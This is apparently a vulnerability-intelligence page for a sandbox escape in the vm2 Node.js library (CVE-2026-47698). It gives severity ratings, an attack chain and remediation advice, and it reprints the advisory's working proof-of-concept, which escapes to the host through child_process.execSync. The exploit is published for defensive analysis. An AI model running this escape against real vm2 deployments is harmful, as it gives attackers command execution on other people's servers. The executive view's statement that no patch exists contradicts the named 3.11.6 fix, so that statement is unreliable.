Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSubmit untrusted JS to vm2 sandbox
-
DeliveryStack Function.prototype.call indirection layers
-
ExploitBypass apply-trap dangerous-mutator check
-
ExecutionLeak host reference via rejected WebAssembly promise
-
PersistReach host constructor and process object
-
ImpactCall child_process.execSync for host RCE
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V15 - Secure Coding and Architecture Dynamic code resource control
|
| Exploitation Conditions | Exploitation requires that the target application run attacker-controlled JavaScript inside a vm2 sandbox at version 3.11.5 or earlier - this is the exact and only prerequisite, and it is the library's normal intended use, so it is trivially met wherever vm2 evaluates untrusted input. The PoC relies on host objects reachable inside the default sandbox (Buffer, WebAssembly.compileStreaming, __lookupGetter__/__lookupSetter__), so no unusual non-default configuration is needed. The limiting factors are therefore deployment-based rather than technical: an environment is only exposed if it actually feeds untrusted or semi-trusted code into vm2, and applications that only run their own trusted code in vm2, or that have already upgraded to 3.11.6+, are not exploitable. |
| Impact | The vendor-supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, 9.8) rates this maximally severe, and the threat model matters: vm2's entire purpose is to execute attacker-supplied code, so the 'privileges' bar is effectively met by design and a reliable published PoC removes exploitation complexity. No EPSS score and no KEV entry were provided, so there is no confirmation of at-scale active exploitation - this should be read as a high-confidence, high-impact escape with proven exploit code rather than as an in-the-wild campaign. The realistic caveat is that impact is scoped to systems that actually feed untrusted code into a vulnerable vm2 version; where that pattern exists (multi-tenant code runners, serverless eval, low-code platforms) it is a top-priority patch, and any operator running vm2 <= 3.11.5 to sandbox untrusted input should treat it as urgent. Note that vm2 has a long history of similar full escapes and its maintainer has publicly deprecated it, which raises the strategic risk beyond this single CVE. |
| Exploit ScenarioDerived | An application uses vm2 to run user-submitted JavaScript (for example a code-evaluation feature, template engine, or automation platform). An attacker submits the published PoC, which stacks Buffer.call indirection to bypass the prototype-mutator guard and leaks a host reference from a rejected WebAssembly.compileStreaming promise, then calls child_process.execSync to run OS commands on the host. A functional PoC is included in the advisory, so no novel exploit development is required. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 17, 2026
Sandbox escape in the vm2 Node.js sandboxing library (npm, versions <= 3.11.5) lets code running inside the sandbox reach host prototype mutators and execute arbitrary OS commands on the host. It bypasses the earlier GHSA-v6mx-mf47-r5wg fix by stacking Function.prototype.call indirection so the dangerous __proto__ setter is no longer in the inspected position, then leaks a live host reference through a rejected WebAssembly.compileStreaming promise to pivot to child_process. A working proof-of-concept is published in the advisory, so publicly available exploit code exists; the flaw is not listed in CISA KEV.
RemediationAI
Vendor-released patch: 3.11.6 - upgrade the vm2 dependency to 3.11.6 or later, which closes this bypass along with four other advisories (GHSA-gmc2-2x9w-cgh9, GHSA-m283-3h24-438v, GHSA-m5w8-4gq2-6f8x, GHSA-v836-6xw4-9cx3); the release notes state there are no API changes for valid configurations, though users of builtin: ['*'] that depend on os or dns must re-introduce them via require.mock/require.override. Because vm2 is deprecated by its maintainer and has repeatedly been fully escaped, the strongly recommended longer-term remediation is to migrate untrusted-code execution off vm2 entirely to a process- or VM-level isolation mechanism (for example isolated-vm, or running untrusted code in a separate OS process/container with seccomp and dropped privileges). If you cannot upgrade immediately, the only robust compensating control is to stop passing untrusted code to vm2 - restrict the sandbox to trusted input, or move the eval path behind a hardened worker process with no child_process/network access - since in-band JavaScript-level filtering has historically failed to contain these escapes. Advisory: https://github.com/patriksimek/vm2/security/advisories/GHSA-cfcw-xp6x-25gj.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
vm2 is a widely used npm library that claims to run untrusted JavaScript in an isolated sandbox by proxying host objects and trapping dangerous operations. This issue is CWE-913 (improper control of a dynamically-managed code resource): the sandbox's guard inspected only the direct argument position of Function.prototype.call/apply/bind to detect dangerous host prototype mutators, but two layers of indirection - indirectcall.call(indirectcall, dangerousmutator, ...) - push the mutator out of that inspected slot, and a subsequent variant runs the __proto__ setter entirely host-side, defeating both identity checks. The exploit chain uses Buffer.call as the call primitive plus __lookupGetter__/__lookupSetter__ to manipulate __proto__, and abuses the host-side error object surfaced when WebAssembly.compileStreaming() rejects to obtain a real host constructor, from which process and require('child_process') are reachable.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
vm2's model treats sandboxed code as attacker-controlled (PR:N), a published PoC gives AC:L, and escaping the sandbox to the host crosses a security authority so S:C with full C/I/A host impact.
Primary rating from Vendor (https://github.com/patriksimek/vm2).
CVSS VectorVendor: https://github.com/patriksimek/vm2
Lifecycle Timeline
2DescriptionCVE.org
Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-v6mx-mf47-r5wg is insufficient and can be bypassed by replacing indirectcall.call(dangerousmutator, ...) with indirectcall.call(indirectcall, dangerousmutator, ...) since indirect calls are not seen as dangerous.
PoC
const {VM} = require(".");
const vm = new VM();
console.log(vm.run(`
const getProto = Buffer.call.call(Buffer.call, {}.__lookupGetter__, Buffer, "__proto__");
const setProto = Buffer.call.call(Buffer.call, {}.__lookupSetter__, Buffer, "__proto__");
async function f() {
try {
await WebAssembly.compileStreaming();
} catch(e) {
Buffer.call.call(Buffer.call, setProto, Buffer.call.call(Buffer.call, getProto, e), null);
}
try {
await WebAssembly.compileStreaming();
} catch(e) {
e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
}
f();
`));Impact
Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.
Blast Radius
ecosystem impact- 22 npm packages depend on vm2 (6 direct, 16 indirect)
Ecosystem-wide dependent count for version 3.11.6.
Executive ViewAI
vm2, a popular Node.js library used to safely execute user-submitted and third-party code in isolated environments, contains a critical escape vulnerability (CVE-2026-47698, CVSS 9.8) affecting all versions through 3.11.5 that allows attackers to break out of the sandbox and execute arbitrary commands on the host server. Any organization using vm2 to run untrusted code-including SaaS platforms offering user script execution, API automation services, or collaborative development tools-faces immediate risk of complete server compromise, data theft, and lateral network movement. Publicly available exploit code exists, making this a time-critical threat requiring emergency response.
No vendor-released patch identified at time of analysis. Interim mitigations include: execute vm2 exclusively within ephemeral, containerized environments with read-only or temporary-only filesystem access and no host API exposure; implement strict network egress filtering and monitoring to detect unexpected outbound connections from affected services; disable process spawning at the container runtime level where possible; run affected services with reduced Linux capabilities and in isolated user namespaces; and establish continuous monitoring for child process creation or elevated privilege usage. Prioritize immediate migration to alternative sandboxing technologies.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
EUVD-2026-60459
GHSA-cfcw-xp6x-25gj
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB